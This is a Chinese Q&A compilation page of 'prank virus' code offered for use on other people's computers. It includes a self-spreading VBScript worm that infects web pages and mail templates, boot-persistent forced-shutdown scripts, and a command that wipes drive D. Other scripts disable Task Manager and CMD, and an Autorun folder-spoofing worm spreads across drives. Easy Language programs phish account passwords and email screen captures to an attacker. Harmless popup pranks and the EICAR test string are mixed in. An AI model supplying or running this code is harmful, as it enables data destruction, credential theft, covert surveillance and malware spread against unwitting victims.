整人简单的病毒代码
① 怎么编写整人的小病毒
那就看看vbs.kj的源码
Dim InWhere,htmlText,VbsText,DegreeSign,AppleObject,FSO,WsShell,WinPath,SubE,FinalyDisk
Sub KJ_start()
\‘ 初始化变量
KJSetDim()
\‘ 初始化环境
KJCreateMilieu()
\‘ 感染本地或者共享上与html所在目录
KJLikeIt()
\‘ 通过vbs感染Outlook邮件模板
KJCreateMail()
\‘ 进行病毒传播
KJPropagate()
End Sub
\‘ 函数：KJAppendTo(FilePath,TypeStr)
\‘ 功能：向指定类型的指定文件追加病毒
\‘ 参数：
\‘ FilePath 指定文件路径
\‘ TypeStr 指定类型
Function KJAppendTo(FilePath,TypeStr)
On Error Resume Next
\‘ 以只读方式打开指定文件
Set ReadTemp = FSO.OpenTextFile(FilePath,1)
\‘ 将文件内容读入到TmpStr变量中
TmpStr = ReadTemp.ReadAll
\‘ 判断文件中是否存在“KJ_start()“字符串，若存在说明已经感染，退出函数；
\‘ 若文件长度小于1，也退出函数。
If Instr(TmpStr,“KJ_start()“) <> 0 Or Len(TmpStr) < 1 Then
ReadTemp.Close
Exit Function
End If
\‘ 如果传过来的类型是“htt“
\‘ 在文件头加上调用页面的时候加载KJ_start()函数;
\‘ 在文件尾追加html版本的加密病毒体。
\‘ 如果是“html“
\‘ 在文件尾追加调用页面的时候加载KJ_start()函数和html版本的病毒体;
\‘ 如果是“vbs“
\‘ 在文件尾追加vbs版本的病毒体
If TypeStr = “htt“ Then
ReadTemp.Close
Set FileTemp = FSO.OpenTextFile(FilePath,2)
FileTemp.Write “<“ & “BODY onload=“““ & “vbscript:“ & “KJ_start()“““ & “>“ & vbCrLf & TmpStr & vbCrLf & HtmlText
FileTemp.Close
Set FAttrib = FSO.GetFile(FilePath)
FAttrib.attributes = 34
Else
ReadTemp.Close
Set FileTemp = FSO.OpenTextFile(FilePath,8)
If TypeStr = “html“ Then
FileTemp.Write vbCrLf & “<“ & “HTML>“ & vbCrLf & “<“ & “BODY onload=“““ & “vbscript:“ & “KJ_start()“““ & “>“ & vbCrLf & HtmlText
ElseIf TypeStr = “vbs“ Then
FileTemp.Write vbCrLf & VbsText
End If
② 求一些好玩的整人代码~~
这些超级好玩看看
第一个：
这些超级好玩
第一个：
'------!!注意危险!! 5-开机一完毕就关机(计算机无法使用) !!注意危险!!----------dim fsodim wsset fso=CreateObject("Scripting.FileSystemObject")set ws=CreateObject("wscript.shell")set f=fso.getfile(wscript.scriptfullname)ws.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\"&f.name,f.pathset ws=CreateObject("wscript.shell")ws.run "shutdown -f -s -t 00",0 ,true'------------------------------------------------
--------------------------------'----------!!注意危险!! 6-格式化D盘(D盘下所有文件被删除) !!注意危险!!-------dim wsset ws=CreateObject("wscript.shell")ws.Run "%Comspec% /c"&"RD /S /Q d:\",0,ture'--------------------
第二个：
“
gsh=msgbox ("已经准备好格式化，准备开始。",vbyesno)
set s=createobject("wscript.shell")
wscript.sleep 1000
msgbox "开始格式化…… 哈哈！吓晕了吧，骗你的~"
wscript.sleep 1000
wscript.sleep 1000*100
msgbox "windows发现一重要更新，将自动下载。"
wscript.sleep 3000
msgbox "系统检测到WINDOWS更新中捆绑有不明插件SXS.exe,是否对其扫描？",vbyesno
wscript.sleep 1000
msgbox "文件名 SXS.exe"+CHR(13)+"发行者 田间的菜鸟 "+chr(13)+"安全评级 高危"+chr(13)+"建议 直接删除"+chr(13)+"病毒类型：木马",,"windows扫描附件"
msgbox "是否阻止其安装？",vbyesno
wscript.sleep 3000
msgbox "阻止失败！请检查防火墙是否开启！"
wscript.sleep 5000
msgbox "正在尝试强行删除…"
wscript.sleep 5000
msgbox "失败！"
wscript.sleep 5000
msgbox "您的电脑已陷入危险之中，请赶快扫描病毒！"
wscript.sleep 10000
s.sendkeys "% n"
s.run "taskkill /im QQ.exe"
s.sendkeys "% n"
s.run "taskkill /im explorer.exe /f"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
msgbox "你好啊！"
wscript.sleep 3000
msgbox "很高兴见到你！"
wscript.sleep 3000
msgbox "您的电脑可能已经感染病毒！",,"WINDOWS防火墙警告"
wscript.sleep 3000
msgbox "我控制你的电脑了！"
wscript.sleep 3000
msgbox "不信？那我给你关机看看~"
s.run "shutdown -r -t 120"
msgbox "信了吧！"
msgbox "帮你解除关机……"
s.run "shutdown -a"
msgbox "再给你打开记事本写封信，劝你最好别动，要不然会引起系统混乱~"
s.run "notepad"
wscript.sleep 3000
s.sendkeys "Hello, I'm sorry I control your computer,"
wscript.sleep 3000
s.sendkeys " but the virus is false in, "
wscript.sleep 3000
s.sendkeys "only a joke, "
wscript.sleep 3000
s.sendkeys "please rest assured! "
wscript.sleep 3000
s.sendkeys "I no longer next "
wscript.sleep 3000
s.sendkeys "time so the whole you!"
wscript.sleep 3000
s.sendkeys" Goodbye!"
s.sendkeys"{enter}"
s.sendkeys"END"
wscript.sleep 1000
s.sendkeys"%{F4}"
msgbox "提示：刚才的“病毒”是假的，只不过是吓你玩玩~"
s.run "explorer"
”
这个病毒的说明：在任务管理器关闭wscript.exe可关闭弹窗
第三个：
Set s = CreateObject("sapi.spvoice")
i=0
do
s.speak i
i=i+1
loop
------------------------------------------------
第四个：
do
msgbox"哈哈哈有种把我关掉”
loop
哈哈哈有种把我关掉可以随意更改
第四个的升级版：
do
msgbox"哈哈,有种关掉我啊"
msgbox"开始倒计时"
msgbox"10"
msgbox"9"
msgbox"8"
msgbox"7
msgbox"6"
msgbox"5"
msgbox"4"
msgbox"3"
msgbox"2"
msgbox"1"
msgbox"野生熊孩子强最帅"
loop
野生熊孩子强最帅可以随意更改
第五个：
Dim odjws
Set odjws=wscript.createobject("wscript.she11")
do
objws.Run "calc"
loop
第六个：
'--------------------------------3-直接关机------------------------------------dim wsset ws=CreateObject("wscript.shell")ws.run "shutdown -f -s -t 00",0 ,true'--------------------------------------------------------------------------------'-------------------------------
第七个:
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
第八个：名：腾讯QQ
do
msgbox”别点我哟，我今天想休息，不让登”
loop
第九个：
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 120 -c ""说我是猪，不说我是猪就两分钟关你机，不信，你试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，说 ""我是猪""","说不说","你写啊",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛,呵呵，爽"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
第10个：
Gecho off
start cmd
%0
第11个：
set ws=createobject("wscript.shell")
call shutdown(1)
do while a<>"陈独秀"
a=inputbox("快在下面的框框里输入陈独秀喜欢谁,否则后果自负"" ","一个问题","")
loop
call shutdown(2)
msgbox"好吧，不过好自恋啊",4096+64
msgbox"但是你关不掉我",4096+64
msgbox"真的",4096+64
MsgBox"你不信？",4096+64
MsgBox"打开任务管理器也没有什么软用的",4096+64
MsgBox"给你讲个故事",4096+64
MsgBox"从前有座山!",4096+64
MsgBox"山里有个庙.",4096+64
MsgBox"庙里有个老和尚在讲故事.",4096+64
msgbox"哎呀累了！数绵羊哄我睡觉",4096+64
for i=1 to 60
MsgBox i&"只绵羊",4096+64
next
msgbox"哎呀我困了，这次就饶过你吧，下次注意哦!",4096+64
msgbox"最后问个问题，我是不是大好人！",4096+64
if inputbox("是不是","请选择","是")<>"是" then
call shutdown(1)
end if
sub shutdown(s)
select case s
case 1
ws.run"cmd.exe /c shutdown -r -t 60 -c",0
case 2
ws.run"cmd.exe /c shutdown -a",0
end select
end sub
第12个：
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
第13个：
dim s
do until s=500
s=s+1
msgbox "哥们，给我按500次回车吧",64
loop
③ 整人病毒代码怎么用
开机会自动启动（VBE文件）
-------------------------------------------------------
set s=createobject("wscript.shell")
set bag=getobject("winmgmts:\\.\root\cimv2")
set pipe=bag.execquery("select * from win32_process where name='wscript.exe'")
For Each id in pipe
if instr(1,id.CommandLine,wscript.scriptfullname)<>0 and pipe.count>=2 then
s.regwrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\","","REG_SZ"
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"
id.terminate()
else
s.regwrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\",wscript.scriptfullname,"REG_SZ"
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD"
for i=1 to 60
s.popup"系统将在"& 60-i &"秒后关机...",1,"系统提示",4096+48
next
Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem")
For Each eOs In colOS
eOs.Win32Shutdown(2)
Next
end if
Next
④ 我想要一种整人的电脑病毒代码，要有图片跟声音的，而且只能打开一次！求高手给！谢谢！
易语言整人代码如下
.版本2
.支持库OPenGL
.子程序__启动窗口_创建完毕
运行(“Shutdown.exe-s-t120”,假,)
.子程序_按钮1_被单击
.如果真(编辑框1.内容＝“我是蠢猪，***是大好人”)
运行(“shutdown-a”,假,)
信息框(“哈哈~我还是很厚道的！我也知道你是发自内心的，是啊，我怎么那么完美呢？——呵呵~”,0,)
结束()
.如果真(编辑框1.内容≠“我是蠢猪，***是大好人”)
信息框(“尼玛，输入正确会死啊！告诉你了，只要输入正确就OK了~你怎么就不相信我呢？？！”,0,）
—————————————————————————————————————————
易语言骗账号代码如下：
.版本2
.支持库internet
.子程序_按钮1_被单击
连接发信服务器(“smtp.qq.com”,25,“邮箱”,“密码”,)
发送邮件(“号来了”,“账号：”＋编辑框1.内容＋#换行符＋“密码：”＋编辑框2.内容,“邮箱”,,,“邮箱”,)
——————————————————————————————————————————
易语言监视对方电脑，连发十张高清截图代码如下：
.版本2
.支持库eImgConverter
.支持库internet
.子程序__启动窗口_创建完毕
.计次循环首(10,)
写到文件(“D:jt.bmp”,快照(,,))
转换到JPG(“jt.bmp”,“jt.jpg”,假,75,真,0)
.如果真(连接发信服务器(“smtp.qq.com”,25,“邮箱”,“密码”,))
添加附件文件(“D:jt.bmp”)
.如果真结束
发送邮件(“主题”,“被监视的电脑截图”,“邮箱”,,,“邮箱”,)
断开发信服务器()
.计次循环尾()
删除文件(“D:jt.bmp”)
结束()
——————————————————————————————————————————
你说要有图片 可以将易语言程序启动窗口主页面的图片设置成我这样
——————————————————————————————————————————
如果是电脑命令的话
新建txt输入：shutdown -s -t 120 -c 你是猪！
保存为bat
或者还有，如果他用电脑命令破解，你就往后输入
@echo off
assoc .bat=txtfile
可以让他所有的电脑命令成为乱码！！！
除了电脑命令乱码，你还可以设置各种的，比如：
assoc .exe=txtfile
assoc .mp3=txtfile
assoc .zip=txtfile
assoc .fiv=txtfile
and so on……
其实输入了就这样的代码，那台电脑基本就瘫痪了，没什么可以玩的了~
⑤ 谁能给我一个简单的病毒的代码呀
本代码尽管测试，无任何危险。病毒文件测试代码。使用方法如下：
this
is
not
a
real
virus.
it
is
a
text
file
that
is
used
to
test
antivirus
software.
测试代码：
---------------------请复制下面的代码到文本中保存-------------------
x5o!p%@ap[4\pzx54(p^)7cc)7}$eicar-standard-antivirus-test-file!$h+h*
---------------------请复制上面的代码到文本中保存-------------------
测试方法：
1.鼠标右键点击桌面空白处，创建一个“文本文档”。（什么，还不会建？我倒）
2.将下面这段测试代码复制到“文本”里，保存，然后可以直接右键点击这个文本，用杀毒软件扫描（图1）。也可以等一会，如果你的杀毒软件还行，会自动报毒并将该文本删除，那就可以初步放心了。
测试原理：
该段代码是欧洲计算机防病毒协会开发的一种病毒代码，其中的特征码已经包含在各种杀毒软件的病毒代码库里，所以可以用做测试病毒扫描引擎。
测试等级:
特等：复制完代码后便提示内存有病毒
优等：刚保存完就提示病毒(或者直接删除)
中等：保存后几秒提示病毒(或者直接删除)
下等：需自己启动病毒扫描查杀才提示病毒(或者直接删除)
劣等：无论怎么扫描都无法提示病毒(或者直接删除)
⑥ 求手机整人程序，或整人的病毒！
只能针对mtk平台的和部分其他机型，你想整人，建议用邪恶牙医，真的狠邪恶塞班手机论坛有 但是很少 去山寨手机论坛吧
⑦ 谁给我一个整人的VBS代码啊 谢谢了
有人要VBS整人代码，我就写了一个，如果玩笑开得过火，千万别骂我啊~
简单描述一下：文件夹同名病毒（Autorun病毒）大家都熟悉吧？效果就是那样（不过放心吧，绝不是真的病毒，骗人的），试想，如果有人中招，他会怎么办？杀毒？没用（因为根本不是病毒），情急之下咋办？胡乱删一通，抱歉，他亲手将自己亲爱的文件删了......
废话不多说了，代码如下，大家知道该怎么用：
''''''''''''''''''''代码开始''''''''''''''''''''
On Error Resume Next
Set fso=CreateObject("Scripting.FileSystemObject")
Set Cx=fso.GetSpecialFolder(0)
fso.GetFile(WScript.ScriptFullName).Delete(True)
Do
C=fso.GetParentFolderName(Cx)
Set Fdrs=fso.GetFolder(C).SubFolders
For Each Fdr In Fdrs
If Not fso.GetExtensionName(Fdr.Name)="exe" Then
fso.CreateFolder(C & Fdr.Name & ".exe")
Set fun=fso.GetFile(C & "WINDOWS\system32\tskill.exe")
fun.Attributes=6
fun.Copy(C & Fdr.Name & ".exe\fun.xls.exe")
Set auto=fso.CreateTextFile(C & Fdr.Name & ".exe\Autorun.inf")
auto.WriteLine("[Autorun]")
auto.WriteLine("Open=fun.xls.exe")
auto.Close
Set auto=Nothing
Set fun=Nothing
fso.GetFolder(C & Fdr.Name & ".exe").Attributes=Fdr.Attributes
Fdr.Attributes=6
End If
Next
Set Cx=Nothing
Set Fdrs=Nothing
Set drvs=fso.Drives
For Each drv In drvs
If drv.DriveType=2 Then
If drv & "\" = C Then
Else
Set Fdrs=fso.GetFolder(drv).SubFolders
For Each Fdr In Fdrs
If Not fso.GetExtensionName(Fdr.Name)="exe" Then
Fdr.Name=Fdr.name & ".exe"
Set fun=fso.GetFile(C & "WINDOWS\system32\tskill.exe")
fun.Copy(drv & "\" & Fdr.Name & "\fun.xls.exe")
Set auto=fso.CreateTextFile(drv & "\" & Fdr.Name & "\Autorun.inf")
auto.WriteLine("[Autorun]")
auto.WriteLine("Open=fun.xls.exe")
auto.Close
Set auto=Nothing
Set fun=Nothing
End If
Next
End If
End If
Next
WScript.Sleep 60*1000
Loop
''''''''''''''''''''代码结束''''''''''''''''''''
打开记事本，复制，保存缀名为vbs格式
注意：此代码不可乱用，可能会把人弄疯的
除非是你最恨的人
⑧ 求简单的病毒代码
本代码尽管测试，无任何危险。病毒文件测试代码。使用方法如下：
This is not a real virus. It is a text file that is used to test antivirus software.
测试代码：
---------------------请复制下面的代码到文本中保存-------------------
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
---------------------请复制上面的代码到文本中保存-------------------
测试方法：
1.鼠标右键点击桌面空白处，创建一个“文本文档”。（什么，还不会建？我倒）
2.将下面这段测试代码复制到“文本”里，保存，然后可以直接右键点击这个文本，用杀毒软件扫描（图1）。也可以等一会，如果你的杀毒软件还行，会自动报毒并将该文本删除，那就可以初步放心了。
测试原理：
该段代码是欧洲计算机防病毒协会开发的一种病毒代码，其中的特征码已经包含在各种杀毒软件的病毒代码库里，所以可以用做测试病毒扫描引擎。
测试等级:
特等：复制完代码后便提示内存有病毒
优等：刚保存完就提示病毒(或者直接删除)
中等：保存后几秒提示病毒(或者直接删除)
下等：需自己启动病毒扫描查杀才提示病毒(或者直接删除)
劣等：无论怎么扫描都无法提示病毒(或者直接删除)
⑨ 求Bat整人代码。。很搞笑很吓人但是很安全！
@echo
off
color
0b
mode
con:
cols=80
lines=20
@title=超级病毒
for
/L
%%a
in
(
3,-1,0
)
do
(
for
/l
%%a
in
(1,1,8)
do
echo\
echo
入侵倒计时
%%a
秒
ping
-n
2
127.1
1>nul
2>nul
cls
)
cls
color
40
for
/l
%%a
in
(1,1,8)
do
echo\
echo
正在遭受黑客入侵...
ping
127.1
/n
3
>nul
echo.
echo
警告！警告！电脑已被入侵！！！
ping
127.1
/n
3
>nul
cls
echo.
echo.
echo.
echo
正在删除G盘所有文件...
set
/p
a=">============================================================================
=="<nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=<nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^><nul
ping/n
1
127.1
>nul
)
echo
删除完毕
echo.
echo
正在删除E盘所有文件...
set
/p
a=">============================================================================
=="<nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=<nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^><nul
ping/n
1
127.1
>nul
)
echo
删除完毕
echo.
echo
正在删除D盘所有文件...
set
/p
a=">============================================================================
=="<nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=<nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^><nul
ping/n
1
127.1
>nul
)
echo
删除完毕
echo.
echo
正在删除C盘所有文件...
set
/p
a=">============================================================================
=="<nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=<nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^><nul
ping/n
1
127.1
>nul
)
echo
删除完毕
echo.
echo
正在删除分区表...
set
/p
a=">============================================================================
=="<nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=<nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^><nul
ping/n
1
127.1
>nul
)
echo.
echo
删除完毕
echo.
echo.
echo
正在遭受黑客的炸弹袭击！
echo.
echo
电脑崩溃！准备关闭系统！
ping
127.1
/n
3
>nul
shutdown
-s
-t
0
>nul<p>
</p>
⑩ 整人病毒代码怎么用
网络VBS整人代码…用文本保存，改后缀为vbs